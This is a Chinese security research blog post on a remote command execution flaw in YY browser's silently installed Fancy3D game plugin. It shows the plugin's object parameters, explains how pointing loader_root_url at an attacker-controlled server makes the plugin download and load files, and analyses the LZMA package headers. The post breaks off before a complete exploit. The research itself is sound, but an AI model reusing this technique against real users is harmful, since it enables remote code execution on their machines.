前端 [浏览器安全系列四] Fancy3D引擎(YY浏览器)远程命令执行

ziqin123 · September 02, 2019 · 0 hits

案例链接:http://www.wooyun.org/bugs/wooyun-2016-0221080

这是浏览器安全系列的最后一篇文章(就目前情况而言)了,静待乌云归来。

免责声明

本博客提供的部分文章思路可能带有攻击性,仅供安全研究与教学之用,风险自负!

前言

在研究 YY 浏览器的默认游戏助手插件时,在代码里面找到一个游戏的名字:jzwl,于是在 YY 的游戏中心搜索了一下,找到了下面这个页面:

1
http://udblogin.duowan.com/login.do?online&report_ver=new&showtools=0&webyygame&pro=webyygame&rso=FROM_SCTG&rso_desc=%E5%B8%82%E5%9C%BA%E6%8E%A8%E5%B9%BF&ref=gw/entergame&ref_desc=%E5%AE%98%E7%BD%91%2f%E8%BF%9B%E5%85%A5%E6%B8%B8%E6%88%8F&game=JZWL&server=s6

点开这个页面的时候,我电脑上的腾讯安全管家弹出了下载文档的提示,仔细一看,我擦,自动下载了这么多文档下来!于是我觉得可以研究研究这个东西。

发现页面中有这样的一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<div class="flash">
<object id="fancy3d" type="application/fancy-npruntime-fancy3d-plugin" width="100%" height="198">
<param name="game" value="jzwl">
<param name="nprver" value="0.0.2.17">
<param name="ocxver" value="0.0.2.17">
<param name="liburl" value="http://loader.52xiyou.zsgl.ate.cn/jzwl/loader/loaderUpdater.71f24efc47252dee7ca07eb571bd6f50.dll">
<param name="libmd5" value="71f24efc47252dee7ca07eb571bd6f50">
<param name="unsafelib" value="allow">
<param name="param1" value="cmdline=uid:1576442523|skey:6|platform:duowan|sign:7115344fa13ccca8950cfea0484437ce|type:web">
<param name="param2" value="client_root_url=http://res.jzwl.52xiyou.com/client/">
<param name="param3" value="ip_port=[121.46.21.176,121.46.21.176,121.46.21.176,121.46.21.176]|[8092]">
<param name="param5" value="loader_root_url=http://res.jzwl.52xiyou.com/loader/">
<param name="param6" value="loader_ver_name=loader.ver">
<param name="param7" value="loader_catalog_name=loader_catalog.txt">
<param name="param8" value="loader_name=loaderjz.dll">
</object>
</div>

我擦!这个好像在哪里见过的:http://wooyun.org/bugs/wooyun-2016-0172781 我们开始分析吧!

0x00 这个插件是哪里来的?

YY 浏览器启动的时候会检查注册表中是否已经安装有 Fancy3D 游戏引擎这个 NPAPI 插件,具体路径如下。如果不存在,则会自动静悄悄地帮用户安装上。

1
[email protected]/FancyGame,version=1.0.0.1

0x01 插件功能分析

libcurllibcmd5这两个参数在 http://wooyun.org/bugs/wooyun-2016-0172781 已经分析过,这里更简单,连域名白名单限制都没有做,直接修改成为自己的域名都会请求,一开始我以为是可以直接搞定的。但实验过后发现,自己写的 dll 按照规则放进去之后并没有加载到进程中。进一步查看信息,发现 360 浏览器那个洞里出现的游戏提供方好像是同一家公司,看样子是做了数字签名,没什么好方法,先放一边。

里面还有几个参数,看上去也是会下载文档,把<param name="param5" value="loader_root_url=http://a.com/loader/">改成自己本地的地址(注:我在 Hosts 文档里做了127.0.0.1 a.com映射)看看它都会请求下载哪些东西。测试过后,发现过程如下:

  1. 下载 loader_root_url + loader_ver_name,即这个文档:http://res.jzwl.52xiyou.com/loader/loader.ver ,其内容为2016-06-02
  2. 下载 loader_root_url + 2016-06-02/loader_catalog.txt,即:http://res.jzwl.52xiyou.com/loader/2016-06-02/loader_catalog.txt , 其内容如下:

    1
    2
    3
    4
    5
    curl.exe.lzma||3b0c063789066f74667efc13db00e9cc||247772||f4edf7cab0d6a404b77eb816c996831c||506048
    jztr.exe.lzma||c5dbe14ad37375371cb79261b848bcc8||69086||339068e9b3286cb30e100c398ea632f1||154816
    flash.ocx.lzma||b2a9e2cdb422b3a71558ad9b6acc4ec8||1701337||8afc17155ed5ab60b7c52d7f553d579c||3866528
    loading.swf.lzma||a77c04de83da48dcbb6b15c9028829a7||961202||5f52ea04bc871804c0c059a82053894c||950321
    loaderjz.dll.lzma||4a51f304098ccebcecdf238ff3736d60||350535||2f22bb87e00681d858e3bd6013843231||804496
  3. 下载上面的文档,并执行加载游戏的一些操作。通过 procexp.exe 查看相应 YY 浏览器的 NPAPI 的进程,发现其动态加载的 dll 中,果然有loaderjz.dll这个文档。

    目录结构如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    │───poc.html

    └───loader
    │ loader.ver
    └───2016-06-02
    curl.exe.lzma
    flash.ocx.lzma
    jztr.exe.lzma
    loaderjz.dll.lzma
    loader_catalog.txt
    loading.swf.lzma

0x02 分析文档格式

1
2
3
4
5
$ binwalk curl.exe.lzma

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
42 0x2A LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 506048 bytes

观察每个文档,发现它们都有一个不定长的头部信息,然后是LZMA:24算法压缩的数据包,Google 之后猜测是使用这里的工具开发的:http://www.7-zip.org/sdk.html

接下来分析一下头部信息都是些什么东西。注:这里用的是小端规则。

  • 00 - 03 字节:29 00 00 00 = 0x29 = 41,正好是上面 binwalk 分析出来的头部长度。
  • 04 - 07 字节:B3 C7 03 00 = 0x03C7B3 = 247731,是 loader_catalog.txt 文档中 247772 - 41 得到的,而 247772 是 curl.exe.lzma 文档的大小。最终,通过binwalk -e解压开文档,发现就是加了头部信息之前的文档的大小 + 1
  • 08 - 11 字节:C0 B8 07 00 = 0x07B8C0 = 506048,应该就是解压后文档的大小
  • 12 - 13 字节:09 00 = 9,刚好就是字符串curl.exe的长度,注意结尾的
No Reply at the moment.
You need to Sign in before reply, if you don't have an account, please Sign up first.